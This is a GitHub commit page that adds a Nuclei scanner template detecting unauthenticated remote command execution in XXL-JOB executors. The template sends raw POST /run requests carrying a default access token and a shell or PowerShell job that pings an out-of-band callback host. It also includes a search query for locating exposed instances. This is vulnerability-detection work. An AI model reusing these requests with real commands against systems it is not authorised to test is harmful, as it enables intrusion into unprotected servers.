-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #8642 from projectdiscovery/pussycat0x-patch-6
XXL-JOB executor - Unauthorized Access
- Loading branch information
Showing
1 changed file
with
78 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
id: xxljob-executor-unauth | ||
|
||
info: | ||
name: XXL-JOB executor - Unauthorized Access | ||
author: k3rwin | ||
severity: critical | ||
description: | | ||
XXL-JOB is a distributed task scheduling platform. Its core design goals are rapid development, easy learning, lightweight, and easy expansion. The source code is now open and connected to the online product lines of many companies, ready to use out of the box. XXL-JOB is divided into two ends: admin and executor. The former is the background management page, and the latter is the client for task execution. The executor is not configured with authentication by default, and unauthorized attackers can execute arbitrary commands through the RESTful API. | ||
reference: | ||
- https://github.com/jas502n/xxl-job/blob/main/README.md | ||
- https://github.com/vulhub/vulhub/blob/master/xxl-job/unacc/README.md | ||
metadata: | ||
verified: true | ||
fofa-query: app="XXL-JOB" | ||
tags: xxljob,unauth,misconfig,rce | ||
|
||
http: | ||
- raw: | ||
- | | ||
POST /run HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/json | ||
Xxl-Job-Access-Token: default_token | ||
Content-Length: 396 | ||
{ | ||
"jobId": {{rand_int(1000)}}, | ||
"executorHandler": "demoJobHandler", | ||
"executorParams": "demoJobHandler", | ||
"executorBlockStrategy": "COVER_EARLY", | ||
"executorTimeout": 0, | ||
"logId": 1, | ||
"logDateTime": 1586629003729, | ||
"glueType": "GLUE_SHELL", | ||
"glueSource": "ping {{interactsh-url}}", | ||
"glueUpdatetime": 1586699003758, | ||
"broadcastIndex": 0, | ||
"broadcastTotal": 0 | ||
} | ||
- | | ||
POST /run HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/json | ||
Xxl-Job-Access-Token: default_token | ||
Content-Length: 396 | ||
{ | ||
"jobId": {{rand_int(1000)}}, | ||
"executorHandler": "demoJobHandler", | ||
"executorParams": "demoJobHandler", | ||
"executorBlockStrategy": "COVER_EARLY", | ||
"executorTimeout": 0, | ||
"logId": 1, | ||
"logDateTime": 1586629003729, | ||
"glueType": "GLUE_POWERSHELL", | ||
"glueSource": "ping {{interactsh-url}}", | ||
"glueUpdatetime": 1586699003758, | ||
"broadcastIndex": 0, | ||
"broadcastTotal": 0 | ||
} | ||
stop-at-first-match: true | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
part: body | ||
words: | ||
- '{"code":200}' | ||
|
||
- type: status | ||
status: | ||
- 200 | ||
|
||
- type: word | ||
part: interactsh_protocol | ||
words: | ||
- "dns" |